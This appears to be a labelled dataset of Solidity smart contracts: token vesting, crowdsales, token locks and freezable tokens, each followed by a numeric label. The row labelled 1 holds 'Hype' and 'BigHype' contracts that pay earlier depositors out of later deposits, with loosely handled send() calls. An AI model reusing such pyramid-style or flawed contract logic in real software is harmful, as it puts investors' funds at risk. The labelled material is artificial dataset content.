require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TokenVestingCrowdsale is Crowdsale, Ownable {
function addBeneficiaryVestor(
address beneficiaryWallet,
uint256 tokenAmount,
uint256 vestingEpocStart,
uint256 cliffInSeconds,
uint256 vestingEpocEnd
) external onlyOwner {
TokenVesting newVault = new TokenVesting(
beneficiaryWallet,
vestingEpocStart,
cliffInSeconds,
vestingEpocEnd,
false
);
LittlePhilCoin(token).mint(address(newVault), tokenAmount);
}
function releaseVestingTokens(address vaultAddress) external onlyOwner {
TokenVesting(vaultAddress).release(token);
}
}
contract LittlePhilCrowdsale is MintedCrowdsale, TieredCrowdsale, InitialSupplyCrowdsale, WhitelistedCrowdsale, TokenVestingCrowdsale {
event NewRate(uint256 rate);
constructor(
uint256 _rate,
address _fundsWallet,
address[6] _wallets,
LittlePhilCoin _token
) public
Crowdsale(_rate, _fundsWallet, _token)
InitialSupplyCrowdsale(_wallets) {}
function setupInitialState() external onlyOwner {
setupInitialSupply();
}
function transferTokenOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
LittlePhilCoin(token).transferOwnership(_newOwner);
}
function crowdsaleClosed () internal {
uint256 remainingTokens = tokenCap.sub(tokensRaised);
_deliverTokens(airdropWallet, remainingTokens);
LittlePhilCoin(token).finishMinting();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= 500000000000000000);
}
function setRate(int _rate) public onlyOwner {
require(_rate > 0);
rate = uint256(_rate);
emit NewRate(rate);
}
function mintForPrivateFiat(address _beneficiary, uint256 _weiAmount) public onlyOwner {
require(_beneficiary != address(0));
_preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokens = _getTokenAmount(_weiAmount);
weiRaised = weiRaised.add(_weiAmount);
tokensRaised = tokensRaised.add(tokens);
if(capReached()) {
emit CapOverflow(_beneficiary, _weiAmount, tokens, now);
emit IncrementTieredState(getState());
}
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
_weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, _weiAmount);
_forwardFunds();
}
} | 0 | 1,508 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 1,750 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function percent(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = (a * b)/100;
uint256 k = a * b;
assert(a == 0 || k / a == b);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public { owner = msg.sender; }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply=1000000;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping (address => uint) public Account_balances;
mapping (address => uint) public Account_frozen;
mapping (address => uint) public Account_timePayout;
event FrozenAccount_event(address target, uint frozen);
function transfer(address _toaddress, uint256 _value) public returns (bool) {
require(Account_frozen[msg.sender]==0 );
require(Account_frozen[_toaddress]==0 );
Account_timePayout[_toaddress]=Account_timePayout[msg.sender];
Account_balances[msg.sender] = Account_balances[msg.sender].sub(_value);
Account_balances[_toaddress] = Account_balances[_toaddress].add(_value);
Transfer(msg.sender, _toaddress, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return Account_balances[_owner];
}
function BasicToken() public {
Account_balances[msg.sender] = totalSupply;
}
}
contract AESconstants is BasicToken {
string public constant name = "Adept Ethereum Stocks";
string public constant symbol = "AES";
string public constant tagline = "AES - when resoluteness is rewarded!";
uint32 public constant decimals = 0;
}
contract Freeze_contract is AESconstants {
function Freeze(address _address, uint _uint) private {
Account_frozen[_address] = _uint;
FrozenAccount_event(_address, _uint);
}
function user_on_freeze() public { require(Account_frozen[msg.sender]==0); Freeze(msg.sender,2); }
function user_off_freeze() public { require(Account_frozen[msg.sender]==2); Freeze(msg.sender,0); }
function pay_Bounty(address _address, uint _sum_pay ) onlyOwner public {
transfer(_address, _sum_pay);
Freeze(_address, 1);
}
function offFreeze_Bounty(address _address) onlyOwner public { Freeze(_address, 0); }
}
contract AES_token_contract is Freeze_contract {
using SafeMath for uint;
uint public next_payout=now + 90 days;
uint public payout = 0;
function Take_payout() public {
require(Account_timePayout[msg.sender] < now);
if(next_payout<now){
payout=this.balance;
next_payout=now + 90 days;
}
msg.sender.transfer(payout.mul(Account_balances[msg.sender]).div(totalSupply));
Account_timePayout[msg.sender]=next_payout;
}
function() external payable {}
}
contract Hype is Ownable {
using SafeMath for uint;
address public investors;
function Hype(address _addres) onlyOwner public {investors=_addres; }
mapping (uint => address) public level;
uint private price=5000000000000000;
uint public step_level=0;
uint public step_pay=0;
uint private constant percent_hype=10;
uint private constant percent_investors=3;
uint private bonus=price.percent(100+percent_hype);
function() external payable {
require(msg.value > 4999999999999999);
uint amt_deposit=msg.value.div(price);
investors.transfer(msg.value.percent(percent_investors));
for ( uint i= 0; i < amt_deposit; i++) {
if (level[step_pay].send(bonus)==true){
step_pay++;
}
level[step_level]=msg.sender;
step_level++;
}
}
}
contract BigHype is Ownable {
using SafeMath for uint;
address public investors;
function BigHype(address _addres) onlyOwner public {investors=_addres; }
struct info {
address i_address;
uint i_balance;
}
mapping (uint => info) public level;
uint public step_level=0;
uint public step_pay=0;
uint private constant percent_hype=10;
uint private constant percent_investors=3;
function() external payable {
require(msg.value > 4999999999999999);
investors.transfer(msg.value.percent(percent_investors));
uint bonus=(level[step_pay].i_balance).percent(100+percent_hype);
if (step_level>0 && level[step_pay].i_address.send(bonus)==true){
step_pay++;
}
level[step_level].i_address=msg.sender;
level[step_level].i_balance=msg.value;
step_level++;
}
}
contract Crowdsale is Ownable {
address private multisig = msg.sender;
bool private share_team_AES=false;
using SafeMath for uint;
AES_token_contract public AEStoken = new AES_token_contract();
Hype public hype = new Hype(AEStoken);
BigHype public bighype = new BigHype(AEStoken);
uint public Time_Start_Crowdsale= 1518210000;
function Take_share_team_AES() onlyOwner public {
require(share_team_AES == false);
AEStoken.transfer(multisig,500000);
share_team_AES=true;
}
function For_admin() onlyOwner public {
AEStoken.transferOwnership(multisig);
hype.transferOwnership(multisig);
bighype.transferOwnership(multisig);
}
function getTokensSale() public view returns(uint){ return AEStoken.balanceOf(this); }
function getBalance_in_token() public view returns(uint){ return AEStoken.balanceOf(msg.sender); }
modifier isSaleTime() { require(Time_Start_Crowdsale<now); _; }
function createTokens() isSaleTime private {
uint Tokens_on_Sale = AEStoken.balanceOf(this);
uint CenaTokena=1000000000000000;
uint Discount=0;
if(Tokens_on_Sale>400000) {Discount+=20;}
else if(Tokens_on_Sale>300000) {Discount+=15; }
else if(Tokens_on_Sale>200000) {Discount+=10; }
else if(Tokens_on_Sale>100000) {Discount+=5; }
if(msg.value> 1000000000000000000 && Tokens_on_Sale>2500 ) {Discount+=20; }
else if(msg.value> 900000000000000000 && Tokens_on_Sale>1500 ) {Discount+=15; }
else if(msg.value> 600000000000000000 && Tokens_on_Sale>500 ) {Discount+=10; }
else if(msg.value> 300000000000000000 && Tokens_on_Sale>250 ) {Discount+=5; }
uint256 Time_Discount=now-Time_Start_Crowdsale;
if(Time_Discount < 3 days) {Discount+=20; }
else if(Time_Discount < 5 days) {Discount+=15; }
else if(Time_Discount < 10 days) {Discount+=10; }
else if(Time_Discount < 20 days) {Discount+=5; }
CenaTokena=CenaTokena.percent(100-Discount);
uint256 Tokens=msg.value.div(CenaTokena);
if (Tokens_on_Sale>=Tokens) {
multisig.transfer(msg.value);
}
else {
multisig.transfer(msg.value.mul(Tokens_on_Sale.div(Tokens)));
msg.sender.transfer(msg.value.mul(Tokens-Tokens_on_Sale).div(Tokens));
Tokens=Tokens_on_Sale;
}
AEStoken.transfer(msg.sender, Tokens);
}
function() external payable {
if (AEStoken.balanceOf(this)>0) { createTokens(); }
else { AEStoken.transfer(msg.value); }
}
} | 1 | 3,181 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Tokenlock is Ownable {
using SafeERC20 for ERC20;
event LockStarted(uint256 now, uint256 interval);
event TokenLocked(address indexed buyer, uint256 amount);
event TokenReleased(address indexed buyer, uint256 amount);
mapping (address => uint256) public buyers;
address public locker;
address public distributor;
ERC20 public Token;
bool public started = false;
uint256 public interval;
uint256 public releaseTime;
constructor(address token, uint256 time) public {
require(token != address(0));
Token = ERC20(token);
interval = time;
locker = owner;
distributor = owner;
}
function setLocker(address addr)
external
onlyOwner
{
require(addr != address(0));
locker = addr;
}
function setDistributor(address addr)
external
onlyOwner
{
require(addr != address(0));
distributor = addr;
}
function lock(address beneficiary, uint256 amount)
external
{
require(msg.sender == locker);
require(beneficiary != address(0));
buyers[beneficiary] += amount;
emit TokenLocked(beneficiary, buyers[beneficiary]);
}
function start()
external
onlyOwner
{
require(!started);
started = true;
releaseTime = block.timestamp + interval;
emit LockStarted(block.timestamp, interval);
}
function release(address beneficiary)
external
{
require(msg.sender == distributor);
require(started);
require(block.timestamp >= releaseTime);
uint256 amount = buyers[beneficiary];
buyers[beneficiary] = 0;
Token.safeTransfer(beneficiary, amount);
emit TokenReleased(beneficiary, amount);
}
function withdraw() public onlyOwner {
require(block.timestamp >= releaseTime);
Token.safeTransfer(owner, Token.balanceOf(address(this)));
}
function close() external onlyOwner {
withdraw();
selfdestruct(owner);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
} | 0 | 1,799 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "PandroytyToken";
string constant TOKEN_SYMBOL = "PDRY";
bool constant PAUSED = true;
address constant TARGET_USER = 0x8f302c391b2b6fd064ae8257d09a13d9fedde207;
uint constant START_TIME = 1524296280;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, CappedCrowdsale
, Checkable
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
